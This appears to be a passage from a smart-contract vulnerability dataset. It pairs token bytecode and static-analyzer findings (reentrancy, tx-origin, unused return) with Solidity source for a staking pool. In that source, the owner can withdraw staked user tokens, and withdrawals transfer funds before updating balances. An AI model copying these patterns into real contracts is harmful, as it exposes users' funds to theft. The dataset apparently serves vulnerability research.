fffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906135a8565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb919061381e565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b10919061381e565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613608565b60405180910390fd5b5b600f5481611b5f84610d6f565b611b69919061381e565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136a8565b60405180910390fd5b5b6000611bb530610d6f565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190613506565b60405180910390fd5b506000838561205591906138ff565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906136e8565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d91906138ff565b905060004790506000600267ffffffffffffffff81111561237157612370613b0a565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b6613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190612e5b565b816001815181106124a5576124a4613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613703565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af919061381e565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906135e8565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f91906138a5565b905082848261272e9190613874565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613628565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a29695949392919061346f565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f491906130ff565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906136e8565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190613506565b60405180910390fd5b5060008385612b2b9190613874565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906136e8565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000612c8e612c898461379d565b613778565b90508083825260208201905082856020860282011115612cb157612cb0613b43565b5b60005b85811015612ce15781612cc78882612ceb565b845260208401935060208301925050600181019050612cb4565b5050509392505050565b600081359050612cfa81613f1d565b92915050565b600081519050612d0f81613f1d565b92915050565b60008083601f840112612d2b57612d2a613b3e565b5b8235905067ffffffffffffffff811115612d4857612d47613b39565b5b602083019150836020820283011115612d6457612d63613b43565b5b9250929050565b600082601f830112612d8057612d7f613b3e565b5b8135612d90848260208601612c7b565b91505092915050565b60008083601f840112612daf57612dae613b3e565b5b8235905067ffffffffffffffff811115612dcc57612dcb613b39565b5b602083019150836020820283011115612de857612de7613b43565b5b9250929050565b600081359050612dfe81613f34565b92915050565b600081359050612e1381613f4b565b92915050565b600081519050612e2881613f4b565b92915050565b600060208284031215612e4457612e43613b4d565b5b6000612e5284828501612ceb565b91505092915050565b600060208284031215612e7157612e70613b4d565b5b6000612e7f84828501612d00565b91505092915050565b60008060408385031215612e9f57612e9e613b4d565b5b6000612ead85828601612ceb565b9250506020612ebe85828601612ceb565b9150509250929050565b600080600060608486031215612ee157612ee0613b4d565b5b6000612eef86828701612ceb565b9350506020612f0086828701612ceb565b9250506040612f1186828701612e04565b9150509250925092565b60008060408385031215612f3257612f31613b4d565b5b6000612f4085828601612ceb565b9250506020612f5185828601612def565b9150509250929050565b60008060408385031215612f7257612f71613b4d565b5b6000612f8085828601612ceb565b9250506020612f9185828601612e04565b9150509250929050565b60008060008060408587031215612fb557612fb4613b4d565b5b600085013567ffffffffffffffff811115612fd357612fd2613b48565b5b612fdf87828801612d15565b9450945050602085013567ffffffffffffffff81111561300257613001613b48565b5b61300e87828801612d99565b925092505092959194509250565b60006020828403121561303257613031613b4d565b5b600082013567ffffffffffffffff8111156130505761304f613b48565b5b61305c84828501612d6b565b91505092915050565b60006020828403121561307b5761307a613b4d565b5b600061308984828501612def565b91505092915050565b6000602082840312156130a8576130a7613b4d565b5b60006130b684828501612e04565b91505092915050565b600080604083850312156130d6576130d5613b4d565b5b60006130e485828601612e04565b92505060206130f585828601612e04565b9150509250929050565b60008060006060848603121561311857613117613b4d565b5b600061312686828701612e19565b935050602061313786828701612e19565b925050604061314886828701612e19565b9150509250925092565b600061315e838361316a565b60208301905092915050565b61317381613933565b82525050565b61318281613933565b82525050565b6000613193826137d9565b61319d81856137fc565b93506131a8836137c9565b8060005b838110156131d95781516131c08882613152565b97506131cb836137ef565b9250506001810190506131ac565b5085935050505092915050565b6131ef81613945565b82525050565b6131fe81613988565b82525050565b61320d8161399a565b82525050565b600061321e826137e4565b613228818561380d565b93506132388185602086016139d0565b61324181613b52565b840191505092915050565b600061325960238361380d565b915061326482613b63565b604082019050919050565b600061327c601c8361380d565b915061328782613bb2565b602082019050919050565b600061329f60268361380d565b91506132aa82613bdb565b604082019050919050565b60006132c260228361380d565b91506132cd82613c2a565b604082019050919050565b60006132e560238361380d565b91506132f082613c79565b604082019050919050565b6000613308601e8361380d565b915061331382613cc8565b602082019050919050565b600061332b601b8361380d565b915061333682613cf1565b602082019050919050565b600061334e60268361380d565b915061335982613d1a565b604082019050919050565b600061337160218361380d565b915061337c82613d69565b604082019050919050565b600061339460208361380d565b915061339f82613db8565b602082019050919050565b60006133b760298361380d565b91506133c282613de1565b604082019050919050565b60006133da60258361380d565b91506133e582613e30565b604082019050919050565b60006133fd60238361380d565b915061340882613e7f565b604082019050919050565b600061342060248361380d565b915061342b82613ece565b604082019050919050565b61343f81613971565b82525050565b61344e8161397b565b82525050565b60006020820190506134696000830184613179565b92915050565b600060c0820190506134846000830189613179565b6134916020830188613436565b61349e6040830187613204565b6134ab6060830186613204565b6134b86080830185613179565b6134c560a0830184613436565b979650505050505050565b60006020820190506134e560008301846131e6565b92915050565b600060208201905061350060008301846131f5565b92915050565b600060208201905081810360008301526135208184613213565b905092915050565b600060208201905081810360008301526135418161324c565b9050919050565b600060208201905081810360008301526135618161326f565b9050919050565b6000602082019050818103600083015261358181613292565b9050919050565b600060208201905081810360008301526135a1816132b5565b9050919050565b600060208201905081810360008301526135c1816132d8565b9050919050565b600060208201905081810360008301526135e1816132fb565b9050919050565b600060208201905081810360008301526136018161331e565b9050919050565b6000602082019050818103600083015261362181613341565b9050919050565b6000602082019050818103600083015261364181613364565b9050919050565b6000602082019050818103600083015261366181613387565b9050919050565b60006020820190508181036000830152613681816133aa565b9050919050565b600060208201905081810360008301526136a1816133cd565b9050919050565b600060208201905081810360008301526136c1816133f0565b9050919050565b600060208201905081810360008301526136e181613413565b9050919050565b60006020820190506136fd6000830184613436565b92915050565b600060a0820190506137186000830188613436565b6137256020830187613204565b81810360408301526137378186613188565b90506137466060830185613179565b6137536080830184613436565b9695505050505050565b60006020820190506137726000830184613445565b92915050565b6000613782613793565b905061378e8282613a03565b919050565b6000604051905090565b600067ffffffffffffffff8211156137b8576137b7613b0a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061382982613971565b915061383483613971565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561386957613868613a7d565b5b828201905092915050565b600061387f82613971565b915061388a83613971565b92508261389a57613899613aac565b5b828204905092915050565b60006138b082613971565b91506138bb83613971565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f4576138f3613a7d565b5b828202905092915050565b600061390a82613971565b915061391583613971565b92508282101561392857613927613a7d565b5b828203905092915050565b600061393e82613951565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613993826139ac565b9050919050565b60006139a582613971565b9050919050565b60006139b7826139be565b9050919050565b60006139c982613951565b9050919050565b60005b838110156139ee5780820151818401526020810190506139d3565b838111156139fd576000848401525b50505050565b613a0c82613b52565b810181811067ffffffffffffffff82111715613a2b57613a2a613b0a565b5b80604052505050565b6000613a3f82613971565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7257613a71613a7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f2681613933565b8114613f3157600080fd5b50565b613f3d81613945565b8114613f4857600080fd5b50565b613f5481613971565b8114613f5f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f7c513e4f2d569eed653c3267650e92cc166c249beab52a84e7e0e83eba4492664736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 352 |
0x59a589addbbd8a6ed4ac4aa4e69feb0aeb9ec386 | pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pool2 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// yfilend token contract address
address public tokenAddress;
address public liquiditytoken1;
// reward rate % per year
uint public rewardRate = 60000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 24 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
liquiditytoken1 = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function place(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function lift(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimYields() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
